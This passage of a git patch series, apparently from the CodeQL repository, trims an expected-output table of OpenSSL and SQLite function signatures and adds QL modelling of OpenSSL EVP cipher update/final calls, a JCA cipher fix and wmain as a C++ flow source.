| OSSL_LIB_CTX * | | (const char *,OSSL_LIB_CTX *,const char *) | | OSSL_CMP_MSG_read | 0 | const char * | | (const char *,OSSL_LIB_CTX *,const char *) | | OSSL_CMP_MSG_read | 1 | OSSL_LIB_CTX * | | (const char *,OSSL_LIB_CTX *,const char *) | | OSSL_CMP_MSG_read | 2 | const char * | @@ -25093,9 +24645,6 @@ getSignatureParameterName | (const char *,OSSL_LIB_CTX *,const char *,const UI_METHOD *,void *,const OSSL_PARAM[],OSSL_STORE_post_process_info_fn,void *) | | OSSL_STORE_open_ex | 5 | const OSSL_PARAM[] | | (const char *,OSSL_LIB_CTX *,const char *,const UI_METHOD *,void *,const OSSL_PARAM[],OSSL_STORE_post_process_info_fn,void *) | | OSSL_STORE_open_ex | 6 | OSSL_STORE_post_process_info_fn | | (const char *,OSSL_LIB_CTX *,const char *,const UI_METHOD *,void *,const OSSL_PARAM[],OSSL_STORE_post_process_info_fn,void *) | | OSSL_STORE_open_ex | 7 | void * | -| (const char *,SD *,int) | | sd_load | 0 | const char * | -| (const char *,SD *,int) | | sd_load | 1 | SD * | -| (const char *,SD *,int) | | sd_load | 2 | int | | (const char *,X509 **,stack_st_X509 **,int,const char *,const char *,X509_VERIFY_PARAM *) | | load_cert_certs | 0 | const char * | | (const char *,X509 **,stack_st_X509 **,int,const char *,const char *,X509_VERIFY_PARAM *) | | load_cert_certs | 1 | X509 ** | | (const char *,X509 **,stack_st_X509 **,int,const char *,const char *,X509_VERIFY_PARAM *) | | load_cert_certs | 2 | stack_st_X509 ** | @@ -25133,8 +24682,6 @@ getSignatureParameterName | (const char *,const ASN1_INTEGER *,stack_st_CONF_VALUE **) | | X509V3_add_value_int | 0 | const char * | | (const char *,const ASN1_INTEGER *,stack_st_CONF_VALUE **) | | X509V3_add_value_int | 1 | const ASN1_INTEGER * | | (const char *,const ASN1_INTEGER *,stack_st_CONF_VALUE **) | | X509V3_add_value_int | 2 | stack_st_CONF_VALUE ** | -| (const char *,const BIGNUM *) | | test_output_bignum | 0 | const char * | -| (const char *,const BIGNUM *) | | test_output_bignum | 1 | const BIGNUM * | | (const char *,const ML_COMMON_PKCS8_FMT *,const char *,const char *) | | ossl_ml_common_pkcs8_fmt_order | 0 | const char * | | (const char *,const ML_COMMON_PKCS8_FMT *,const char *,const char *) | | ossl_ml_common_pkcs8_fmt_order | 1 | const ML_COMMON_PKCS8_FMT * | | (const char *,const ML_COMMON_PKCS8_FMT *,const char *,const char *) | | ossl_ml_common_pkcs8_fmt_order | 2 | const char * | @@ -25168,8 +24715,6 @@ getSignatureParameterName | (const char *,const char *) | | sqlite3_strglob | 1 | const char * | | (const char *,const char *) | | sqlite3_stricmp | 0 | const char * | | (const char *,const char *) | | sqlite3_stricmp | 1 | const char * | -| (const char *,const char *) | | test_mk_file_path | 0 | const char * | -| (const char *,const char *) | | test_mk_file_path | 1 | const char * | | (const char *,const char *,BIGNUM **,BIGNUM **,const BIGNUM *,const BIGNUM *) | | SRP_create_verifier_BN | 0 | const char * | | (const char *,const char *,BIGNUM **,BIGNUM **,const BIGNUM *,const BIGNUM *) | | SRP_create_verifier_BN | 1 | const char * | | (const char *,const char *,BIGNUM **,BIGNUM **,const BIGNUM *,const BIGNUM *) | | SRP_create_verifier_BN | 2 | BIGNUM ** | @@ -25306,23 +24851,6 @@ getSignatureParameterName | (const char *,const char *,int) | | sqlite3_strnicmp | 0 | const char * | | (const char *,const char *,int) | | sqlite3_strnicmp | 1 | const char * | | (const char *,const char *,int) | | sqlite3_strnicmp | 2 | int | -| (const char *,const char *,int,const char *,const char *,const char *,const char *,const BIGNUM *) | | test_fail_bignum_mono_message | 0 | const char * | -| (const char *,const char *,int,const char *,const char *,const char *,const char *,const BIGNUM *) | | test_fail_bignum_mono_message | 1 | const char * | -| (const char *,const char *,int,const char *,const char *,const char *,const char *,const BIGNUM *) | | test_fail_bignum_mono_message | 2 | int | -| (const char *,const char *,int,const char *,const char *,const char *,const char *,const BIGNUM *) | | test_fail_bignum_mono_message | 3 | const char * | -| (const char *,const char *,int,const char *,const char *,const char *,const char *,const BIGNUM *) | | test_fail_bignum_mono_message | 4 | const char * | -| (const char *,const char *,int,const char *,const char *,const char *,const char *,const BIGNUM *) | | test_fail_bignum_mono_message | 5 | const char * | -| (const char *,const char *,int,const char *,const char *,const char *,const char *,const BIGNUM *) | | test_fail_bignum_mono_message | 6 | const char * | -| (const char *,const char *,int,const char *,const char *,const char *,const char *,const BIGNUM *) | | test_fail_bignum_mono_message | 7 | const BIGNUM * | -| (const char *,const char *,int,const char *,const char *,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_fail_bignum_message | 0 | const char * | -| (const char *,const char *,int,const char *,const char *,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_fail_bignum_message | 1 | const char * | -| (const char *,const char *,int,const char *,const char *,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_fail_bignum_message | 2 | int | -| (const char *,const char *,int,const char *,const char *,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_fail_bignum_message | 3 | const char * | -| (const char *,const char *,int,const char *,const char *,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_fail_bignum_message | 4 | const char * | -| (const char *,const char *,int,const char *,const char *,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_fail_bignum_message | 5 | const char * | -| (const char *,const char *,int,const char *,const char *,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_fail_bignum_message | 6 | const char * | -| (const char *,const char *,int,const char *,const char *,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_fail_bignum_message | 7 | const BIGNUM * | -| (const char *,const char *,int,const char *,const char *,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_fail_bignum_message | 8 | const BIGNUM * | | (const char *,const char *,int,int,int,int,BIO_ADDRINFO **) | | BIO_lookup_ex | 0 | const char * | | (const char *,const char *,int,int,int,int,BIO_ADDRINFO **) | | BIO_lookup_ex | 1 | const char * | | (const char *,const char *,int,int,int,int,BIO_ADDRINFO **) | | BIO_lookup_ex | 2 | int | @@ -25393,84 +24921,6 @@ getSignatureParameterName | (const char *,int,PKCS8_PRIV_KEY_INFO *,X509_ALGOR *,OSSL_LIB_CTX *,const char *) | | PKCS8_set0_pbe_ex | 3 | X509_ALGOR * | | (const char *,int,PKCS8_PRIV_KEY_INFO *,X509_ALGOR *,OSSL_LIB_CTX *,const char *) | | PKCS8_set0_pbe_ex | 4 | OSSL_LIB_CTX * | | (const char *,int,PKCS8_PRIV_KEY_INFO *,X509_ALGOR *,OSSL_LIB_CTX *,const char *) | | PKCS8_set0_pbe_ex | 5 | const char * | -| (const char *,int,const char *,const BIGNUM *) | | test_BN_eq_one | 0 | const char * | -| (const char *,int,const char *,const BIGNUM *) | | test_BN_eq_one | 1 | int | -| (const char *,int,const char *,const BIGNUM *) | | test_BN_eq_one | 2 | const char * | -| (const char *,int,const char *,const BIGNUM *) | | test_BN_eq_one | 3 | const BIGNUM * | -| (const char *,int,const char *,const BIGNUM *) | | test_BN_eq_zero | 0 | const char * | -| (const char *,int,const char *,const BIGNUM *) | | test_BN_eq_zero | 1 | int | -| (const char *,int,const char *,const BIGNUM *) | | test_BN_eq_zero | 2 | const char * | -| (const char *,int,const char *,const BIGNUM *) | | test_BN_eq_zero | 3 | const BIGNUM * | -| (const char *,int,const char *,const BIGNUM *) | | test_BN_even | 0 | const char * | -| (const char *,int,const char *,const BIGNUM *) | | test_BN_even | 1 | int | -| (const char *,int,const char *,const BIGNUM *) | | test_BN_even | 2 | const char * | -| (const char *,int,const char *,const BIGNUM *) | | test_BN_even | 3 | const BIGNUM * | -| (const char *,int,const char *,const BIGNUM *) | | test_BN_ge_zero | 0 | const char * | -| (const char *,int,const char *,const BIGNUM *) | | test_BN_ge_zero | 1 | int | -| (const char *,int,const char *,const BIGNUM *) | | test_BN_ge_zero | 2 | const char * | -| (const char *,int,const char *,const BIGNUM *) | | test_BN_ge_zero | 3 | const BIGNUM * | -| (const char *,int,const char *,const BIGNUM *) | | test_BN_gt_zero | 0 | const char * | -| (const char *,int,const char *,const BIGNUM *) | | test_BN_gt_zero | 1 | int | -| (const char *,int,const char *,const BIGNUM *) | | test_BN_gt_zero | 2 | const char * | -| (const char *,int,const char *,const BIGNUM *) | | test_BN_gt_zero | 3 | const BIGNUM * | -| (const char *,int,const char *,const BIGNUM *) | | test_BN_le_zero | 0 | const char * | -| (const char *,int,const char *,const BIGNUM *) | | test_BN_le_zero | 1 | int | -| (const char *,int,const char *,const BIGNUM *) | | test_BN_le_zero | 2 | const char * | -| (const char *,int,const char *,const BIGNUM *) | | test_BN_le_zero | 3 | const BIGNUM * | -| (const char *,int,const char *,const BIGNUM *) | | test_BN_lt_zero | 0 | const char * | -| (const char *,int,const char *,const BIGNUM *) | | test_BN_lt_zero | 1 | int | -| (const char *,int,const char *,const BIGNUM *) | | test_BN_lt_zero | 2 | const char * | -| (const char *,int,const char *,const BIGNUM *) | | test_BN_lt_zero | 3 | const BIGNUM * | -| (const char *,int,const char *,const BIGNUM *) | | test_BN_ne_zero | 0 | const char * | -| (const char *,int,const char *,const BIGNUM *) | | test_BN_ne_zero | 1 | int | -| (const char *,int,const char *,const BIGNUM *) | | test_BN_ne_zero | 2 | const char * | -| (const char *,int,const char *,const BIGNUM *) | | test_BN_ne_zero | 3 | const BIGNUM * | -| (const char *,int,const char *,const BIGNUM *) | | test_BN_odd | 0 | const char * | -| (const char *,int,const char *,const BIGNUM *) | | test_BN_odd | 1 | int | -| (const char *,int,const char *,const BIGNUM *) | | test_BN_odd | 2 | const char * | -| (const char *,int,const char *,const BIGNUM *) | | test_BN_odd | 3 | const BIGNUM * | -| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_eq | 0 | const char * | -| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_eq | 1 | int | -| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_eq | 2 | const char * | -| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_eq | 3 | const char * | -| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_eq | 4 | const BIGNUM * | -| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_eq | 5 | const BIGNUM * | -| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_ge | 0 | const char * | -| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_ge | 1 | int | -| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_ge | 2 | const char * | -| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_ge | 3 | const char * | -| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_ge | 4 | const BIGNUM * | -| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_ge | 5 | const BIGNUM * | -| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_gt | 0 | const char * | -| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_gt | 1 | int | -| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_gt | 2 | const char * | -| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_gt | 3 | const char * | -| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_gt | 4 | const BIGNUM * | -| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_gt | 5 | const BIGNUM * | -| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_le | 0 | const char * | -| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_le | 1 | int | -| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_le | 2 | const char * | -| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_le | 3 | const char * | -| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_le | 4 | const BIGNUM * | -| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_le | 5 | const BIGNUM * | -| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_lt | 0 | const char * | -| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_lt | 1 | int | -| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_lt | 2 | const char * | -| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_lt | 3 | const char * | -| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_lt | 4 | const BIGNUM * | -| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_lt | 5 | const BIGNUM * | -| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_ne | 0 | const char * | -| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_ne | 1 | int | -| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_ne | 2 | const char * | -| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_ne | 3 | const char * | -| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_ne | 4 | const BIGNUM * | -| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_ne | 5 | const BIGNUM * | -| (const char *,int,const char *,const char *,const BIGNUM *,unsigned long) | | test_BN_eq_word | 0 | const char * | -| (const char *,int,const char *,const char *,const BIGNUM *,unsigned long) | | test_BN_eq_word | 1 | int | -| (const char *,int,const char *,const char *,const BIGNUM *,unsigned long) | | test_BN_eq_word | 2 | const char * | -| (const char *,int,const char *,const char *,const BIGNUM *,unsigned long) | | test_BN_eq_word | 3 | const char * | -| (const char *,int,const char *,const char *,const BIGNUM *,unsigned long) | | test_BN_eq_word | 4 | const BIGNUM * | -| (const char *,int,const char *,const char *,const BIGNUM *,unsigned long) | | test_BN_eq_word | 5 | unsigned long | | (const char *,int,int,..(*)(..),void *) | | CONF_parse_list | 0 | const char * | | (const char *,int,int,..(*)(..),void *) | | CONF_parse_list | 1 | int | | (const char *,int,int,..(*)(..),void *) | | CONF_parse_list | 2 | int | @@ -25584,14 +25034,6 @@ getSignatureParameterName | (const char *,unsigned long *) | | opt_ulong | 1 | unsigned long * | | (const char *,va_list) | | sqlite3_vmprintf | 0 | const char * | | (const char *,va_list) | | sqlite3_vmprintf | 1 | va_list | -| (const char *,va_list) | | test_vprintf_stderr | 0 | const char * | -| (const char *,va_list) | | test_vprintf_stderr | 1 | va_list | -| (const char *,va_list) | | test_vprintf_stdout | 0 | const char * | -| (const char *,va_list) | | test_vprintf_stdout | 1 | va_list | -| (const char *,va_list) | | test_vprintf_taperr | 0 | const char * | -| (const char *,va_list) | | test_vprintf_taperr | 1 | va_list | -| (const char *,va_list) | | test_vprintf_tapout | 0 | const char * | -| (const char *,va_list) | | test_vprintf_tapout | 1 | va_list | | (const char *,void *) | | collect_names | 0 | const char * | | (const char *,void *) | | collect_names | 1 | void * | | (const char *,void **,size_t) | | OSSL_PARAM_construct_octet_ptr | 0 | const char * | @@ -25630,8 +25072,6 @@ getSignatureParameterName | (const stack_st_SCT *,unsigned char **) | | i2o_SCT_LIST | 0 | const stack_st_SCT * | | (const stack_st_SCT *,unsigned char **) | | i2o_SCT_LIST | 1 | unsigned char ** | | (const stack_st_X509 *) | | OSSL_CMP_ITAV_new_caCerts | 0 | const stack_st_X509 * | -| (const stack_st_X509 *,const stack_st_X509 *) | | STACK_OF_X509_cmp | 0 | const stack_st_X509 * | -| (const stack_st_X509 *,const stack_st_X509 *) | | STACK_OF_X509_cmp | 1 | const stack_st_X509 * | | (const stack_st_X509_ATTRIBUTE *) | | X509at_get_attr_count | 0 | const stack_st_X509_ATTRIBUTE * | | (const stack_st_X509_ATTRIBUTE *) | | ossl_x509at_dup | 0 | const stack_st_X509_ATTRIBUTE * | | (const stack_st_X509_ATTRIBUTE *,const ASN1_OBJECT *,int) | | X509at_get_attr_by_OBJ | 0 | const stack_st_X509_ATTRIBUTE * | @@ -26512,12 +25952,9 @@ getSignatureParameterName | (int) | | ossl_cmp_bodytype_to_string | 0 | int | | (int) | | ossl_tolower | 0 | int | | (int) | | ossl_toupper | 0 | int | -| (int) | | pulldown_test_framework | 0 | int | | (int) | | sqlite3_compileoption_get | 0 | int | | (int) | | sqlite3_errstr | 0 | int | -| (int) | | tls1_alert_code | 0 | int | | (int) | | tls13_alert_code | 0 | int | -| (int) | | wait_until_sock_readable | 0 | int | | (int,BIO_ADDR *,int) | | BIO_accept_ex | 0 | int | | (int,BIO_ADDR *,int) | | BIO_accept_ex | 1 | BIO_ADDR * | | (int,BIO_ADDR *,int) | | BIO_accept_ex | 2 | int | @@ -27061,7 +26498,6 @@ getSignatureParameterName | (size_t) | | ossl_param_bytes_to_blocks | 0 | size_t | | (size_t) | | ossl_quic_sstream_new | 0 | size_t | | (size_t) | | ssl_cert_new | 0 | size_t | -| (size_t) | | test_get_argument | 0 | size_t | | (size_t,OSSL_QTX_IOVEC *,size_t) | | ossl_quic_sstream_adjust_iov | 0 | size_t | | (size_t,OSSL_QTX_IOVEC *,size_t) | | ossl_quic_sstream_adjust_iov | 1 | OSSL_QTX_IOVEC * | | (size_t,OSSL_QTX_IOVEC *,size_t) | | ossl_quic_sstream_adjust_iov | 2 | size_t | @@ -27693,8 +27129,6 @@ getSignatureParameterName | (stack_st_X509 *,IPAddrBlocks *,int) | | X509v3_addr_validate_resource_set | 0 | stack_st_X509 * | | (stack_st_X509 *,IPAddrBlocks *,int) | | X509v3_addr_validate_resource_set | 1 | IPAddrBlocks * | | (stack_st_X509 *,IPAddrBlocks *,int) | | X509v3_addr_validate_resource_set | 2 | int | -| (stack_st_X509 *,X509 *) | | STACK_OF_X509_push1 | 0 | stack_st_X509 * | -| (stack_st_X509 *,X509 *) | | STACK_OF_X509_push1 | 1 | X509 * | | (stack_st_X509 *,X509 *,int) | | X509_add_cert | 0 | stack_st_X509 * | | (stack_st_X509 *,X509 *,int) | | X509_add_cert | 1 | X509 * | | (stack_st_X509 *,X509 *,int) | | X509_add_cert | 2 | int | @@ -28264,8 +27698,6 @@ getSignatureParameterName | (void *) | | ossl_kdf_data_new | 0 | void * | | (void *,CRYPTO_THREAD_RETVAL *) | | ossl_crypto_thread_join | 0 | void * | | (void *,CRYPTO_THREAD_RETVAL *) | | ossl_crypto_thread_join | 1 | CRYPTO_THREAD_RETVAL * | -| (void *,OSSL_PARAM[]) | | fake_pipeline_aead_get_ctx_params | 0 | void * | -| (void *,OSSL_PARAM[]) | | fake_pipeline_aead_get_ctx_params | 1 | OSSL_PARAM[] | | (void *,OSSL_PARAM[]) | | ossl_blake2b_get_ctx_params | 0 | void * | | (void *,OSSL_PARAM[]) | | ossl_blake2b_get_ctx_params | 1 | OSSL_PARAM[] | | (void *,OSSL_PARAM[]) | | ossl_blake2s_get_ctx_params | 0 | void * | @@ -28292,8 +27724,6 @@ getSignatureParameterName | (void *,const ASN1_ITEM *,int,int) | | PKCS12_item_pack_safebag | 1 | const ASN1_ITEM * | | (void *,const ASN1_ITEM *,int,int) | | PKCS12_item_pack_safebag | 2 | int | | (void *,const ASN1_ITEM *,int,int) | | PKCS12_item_pack_safebag | 3 | int | -| (void *,const OSSL_PARAM[]) | | fake_pipeline_aead_set_ctx_params | 0 | void * | -| (void *,const OSSL_PARAM[]) | | fake_pipeline_aead_set_ctx_params | 1 | const OSSL_PARAM[] | | (void *,const OSSL_PARAM[]) | | ossl_blake2b_set_ctx_params | 0 | void * | | (void *,const OSSL_PARAM[]) | | ossl_blake2b_set_ctx_params | 1 | const OSSL_PARAM[] | | (void *,const OSSL_PARAM[]) | | ossl_blake2s_set_ctx_params | 0 | void * | @@ -28371,20 +27801,6 @@ getSignatureParameterName | (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_tdes_einit | 3 | const unsigned char * | | (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_tdes_einit | 4 | size_t | | (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_tdes_einit | 5 | const OSSL_PARAM[] | -| (void *,const unsigned char *,size_t,size_t,const unsigned char **,size_t,const OSSL_PARAM[]) | | fake_pipeline_dinit | 0 | void * | -| (void *,const unsigned char *,size_t,size_t,const unsigned char **,size_t,const OSSL_PARAM[]) | | fake_pipeline_dinit | 1 | const unsigned char * | -| (void *,const unsigned char *,size_t,size_t,const unsigned char **,size_t,const OSSL_PARAM[]) | | fake_pipeline_dinit | 2 | size_t | -| (void *,const unsigned char *,size_t,size_t,const unsigned char **,size_t,const OSSL_PARAM[]) | | fake_pipeline_dinit | 3 | size_t | -| (void *,const unsigned char *,size_t,size_t,const unsigned char **,size_t,const OSSL_PARAM[]) | | fake_pipeline_dinit | 4 | const unsigned char ** | -| (void *,const unsigned char *,size_t,size_t,const unsigned char **,size_t,const OSSL_PARAM[]) | | fake_pipeline_dinit | 5 | size_t | -| (void *,const unsigned char *,size_t,size_t,const unsigned char **,size_t,const OSSL_PARAM[]) | | fake_pipeline_dinit | 6 | const OSSL_PARAM[] | -| (void *,const unsigned char *,size_t,size_t,const unsigned char **,size_t,const OSSL_PARAM[]) | | fake_pipeline_einit | 0 | void * | -| (void *,const unsigned char *,size_t,size_t,const unsigned char **,size_t,const OSSL_PARAM[]) | | fake_pipeline_einit | 1 | const unsigned char * | -| (void *,const unsigned char *,size_t,size_t,const unsigned char **,size_t,const OSSL_PARAM[]) | | fake_pipeline_einit | 2 | size_t | -| (void *,const unsigned char *,size_t,size_t,const unsigned char **,size_t,const OSSL_PARAM[]) | | fake_pipeline_einit | 3 | size_t | -| (void *,const unsigned char *,size_t,size_t,const unsigned char **,size_t,const OSSL_PARAM[]) | | fake_pipeline_einit | 4 | const unsigned char ** | -| (void *,const unsigned char *,size_t,size_t,const unsigned char **,size_t,const OSSL_PARAM[]) | | fake_pipeline_einit | 5 | size_t | -| (void *,const unsigned char *,size_t,size_t,const unsigned char **,size_t,const OSSL_PARAM[]) | | fake_pipeline_einit | 6 | const OSSL_PARAM[] | | (void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f) | | CRYPTO_128_unwrap | 0 | void * | | (void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f) | | CRYPTO_128_unwrap | 1 | const unsigned char * | | (void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f) | | CRYPTO_128_unwrap | 2 | unsigned char * | @@ -28447,18 +27863,6 @@ getSignatureParameterName | (void *,size_t,size_t,size_t,unsigned int,uint64_t,const PROV_CIPHER_HW *,void *) | | ossl_cipher_generic_initkey | 5 | uint64_t | | (void *,size_t,size_t,size_t,unsigned int,uint64_t,const PROV_CIPHER_HW *,void *) | | ossl_cipher_generic_initkey | 6 | const PROV_CIPHER_HW * | | (void *,size_t,size_t,size_t,unsigned int,uint64_t,const PROV_CIPHER_HW *,void *) | | ossl_cipher_generic_initkey | 7 | void * | -| (void *,size_t,unsigned char **,size_t *,const size_t *) | | fake_pipeline_final | 0 | void * | -| (void *,size_t,unsigned char **,size_t *,const size_t *) | | fake_pipeline_final | 1 | size_t | -| (void *,size_t,unsigned char **,size_t *,const size_t *) | | fake_pipeline_final | 2 | unsigned char ** | -| (void *,size_t,unsigned char **,size_t *,const size_t *) | | fake_pipeline_final | 3 | size_t * | -| (void *,size_t,unsigned char **,size_t *,const size_t *) | | fake_pipeline_final | 4 | const size_t * | -| (void *,size_t,unsigned char **,size_t *,const size_t *,const unsigned char **,const size_t *) | | fake_pipeline_update | 0 | void * | -| (void *,size_t,unsigned char **,size_t *,const size_t *,const unsigned char **,const size_t *) | | fake_pipeline_update | 1 | size_t | -| (void *,size_t,unsigned char **,size_t *,const size_t *,const unsigned char **,const size_t *) | | fake_pipeline_update | 2 | unsigned char ** | -| (void *,size_t,unsigned char **,size_t *,const size_t *,const unsigned char **,const size_t *) | | fake_pipeline_update | 3 | size_t * | -| (void *,size_t,unsigned char **,size_t *,const size_t *,const unsigned char **,const size_t *) | | fake_pipeline_update | 4 | const size_t * | -| (void *,size_t,unsigned char **,size_t *,const size_t *,const unsigned char **,const size_t *) | | fake_pipeline_update | 5 | const unsigned char ** | -| (void *,size_t,unsigned char **,size_t *,const size_t *,const unsigned char **,const size_t *) | | fake_pipeline_update | 6 | const size_t * | | (void *,sqlite3 *,int,const char *) | | useDummyCS | 0 | void * | | (void *,sqlite3 *,int,const char *) | | useDummyCS | 1 | sqlite3 * | | (void *,sqlite3 *,int,const char *) | | useDummyCS | 2 | int | From 34f5e4e0c8b4f1ff9bb9ac2ab2cd63c813038a94 Mon Sep 17 00:00:00 2001 From: "REDMOND\\brodes" Date: Fri, 16 May 2025 11:23:19 -0400 Subject: [PATCH 178/535] Adding cipher update modeling (model flow through update to final) --- .../OpenSSL/Operations/EVPCipherOperation.qll | 45 ++++++++++--------- 1 file changed, 25 insertions(+), 20 deletions(-) diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherOperation.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherOperation.qll index b544079579af..f22bcae69275 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherOperation.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherOperation.qll @@ -67,37 +67,42 @@ abstract class EVP_Cipher_Operation extends OpenSSLOperation, Crypto::KeyOperati } } -// abstract class EVP_Update_Call extends EVP_Cipher_Operation { } -abstract class EVP_Final_Call extends EVP_Cipher_Operation { - override Expr getInputArg() { none() } -} - -// TODO: only model Final (model final as operation and model update but not as an operation) -// Updates are multiple input consumers (most important) -// TODO: assuming update doesn't ouput, otherwise it outputs artifacts, but is not an operation class EVP_Cipher_Call extends EVP_Cipher_Operation { EVP_Cipher_Call() { this.(Call).getTarget().getName() = "EVP_Cipher" } override Expr getInputArg() { result = this.(Call).getArgument(2) } } -// ******* TODO: model UPDATE but not as the core operation, rather a step towards final -// see the JCA -// class EVP_Encrypt_Decrypt_or_Cipher_Update_Call extends EVP_Update_Call { -// EVP_Encrypt_Decrypt_or_Cipher_Update_Call() { -// this.(Call).getTarget().getName() in [ -// "EVP_EncryptUpdate", "EVP_DecryptUpdate", "EVP_CipherUpdate" -// ] -// } -// override Expr getInputArg() { result = this.(Call).getArgument(3) } -// } -class EVP_Encrypt_Decrypt_or_Cipher_Final_Call extends EVP_Final_Call { - EVP_Encrypt_Decrypt_or_Cipher_Final_Call() { +// NOTE: not modeled as cipher operations, these are intermediate calls +class EVP_Update_Call extends Call { + EVP_Update_Call() { + this.(Call).getTarget().getName() in [ + "EVP_EncryptUpdate", "EVP_DecryptUpdate", "EVP_CipherUpdate" + ] + } + + Expr getInputArg() { result = this.(Call).getArgument(3) } + + DataFlow::Node getInputNode() { result.asExpr() = this.getInputArg() } + + Expr getContextArg() { result = this.(Call).getArgument(0) } +} + +class EVP_Final_Call extends EVP_Cipher_Operation { + EVP_Final_Call() { this.(Call).getTarget().getName() in [ "EVP_EncryptFinal_ex", "EVP_DecryptFinal_ex", "EVP_CipherFinal_ex", "EVP_EncryptFinal", "EVP_DecryptFinal", "EVP_CipherFinal" ] } + + EVP_Update_Call getUpdateCalls() { + CTXFlow::ctxArgFlowsToCtxArg(result.getContextArg(), this.getContextArg()) + } + + override Expr getInputArg() { result = this.getUpdateCalls().getInputArg() } + + override Crypto::ConsumerInputDataFlowNode getInputConsumer() { result = this.getInputNode() } } class EVP_PKEY_Operation extends EVP_Cipher_Operation { From dbd66e64c6d1d7722b94c2edae432b3b74237721 Mon Sep 17 00:00:00 2001 From: "REDMOND\\brodes" Date: Fri, 16 May 2025 11:23:42 -0400 Subject: [PATCH 179/535] Fixing bug in JCA cipher modeling. intermediate operations should not be key operations. --- java/ql/lib/experimental/quantum/JCA.qll | 2 ++ 1 file changed, 2 insertions(+) diff --git a/java/ql/lib/experimental/quantum/JCA.qll b/java/ql/lib/experimental/quantum/JCA.qll index ceca0e45464b..867d6f2c9b8f 100644 --- a/java/ql/lib/experimental/quantum/JCA.qll +++ b/java/ql/lib/experimental/quantum/JCA.qll @@ -611,6 +611,8 @@ module JCAModel { } class CipherOperationInstance extends Crypto::KeyOperationInstance instanceof CipherOperationCall { + CipherOperationInstance() { not this.isIntermediate() } + override Crypto::KeyOperationSubtype getKeyOperationSubtype() { if CipherFlowAnalysisImpl::hasInit(this) then result = CipherFlowAnalysisImpl::getInitFromUse(this, _, _).getCipherOperationModeType() From c79a724f5df0d5f0e354fbb3f7633eba024ed11e Mon Sep 17 00:00:00 2001 From: Mathew Payne <2772944+GeekMasher@users.noreply.github.com> Date: Fri, 16 May 2025 18:21:44 +0100 Subject: [PATCH 180/535] feat(cpp): Update FlowSources to add wmain --- cpp/ql/lib/semmle/code/cpp/security/FlowSources.qll | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/cpp/ql/lib/semmle/code/cpp/security/FlowSources.qll b/cpp/ql/lib/semmle/code/cpp/security/FlowSources.qll index 2aef5e6e7df3..b79a94ae2223 100644 --- a/cpp/ql/lib/semmle/code/cpp/security/FlowSources.qll +++ b/cpp/ql/lib/semmle/code/cpp/security/FlowSources.qll @@ -55,12 +55,12 @@ private class LocalModelSource extends LocalFlowSource { } /** - * A local data flow source that the `argv` parameter to `main`. + * A local data flow source that the `argv` 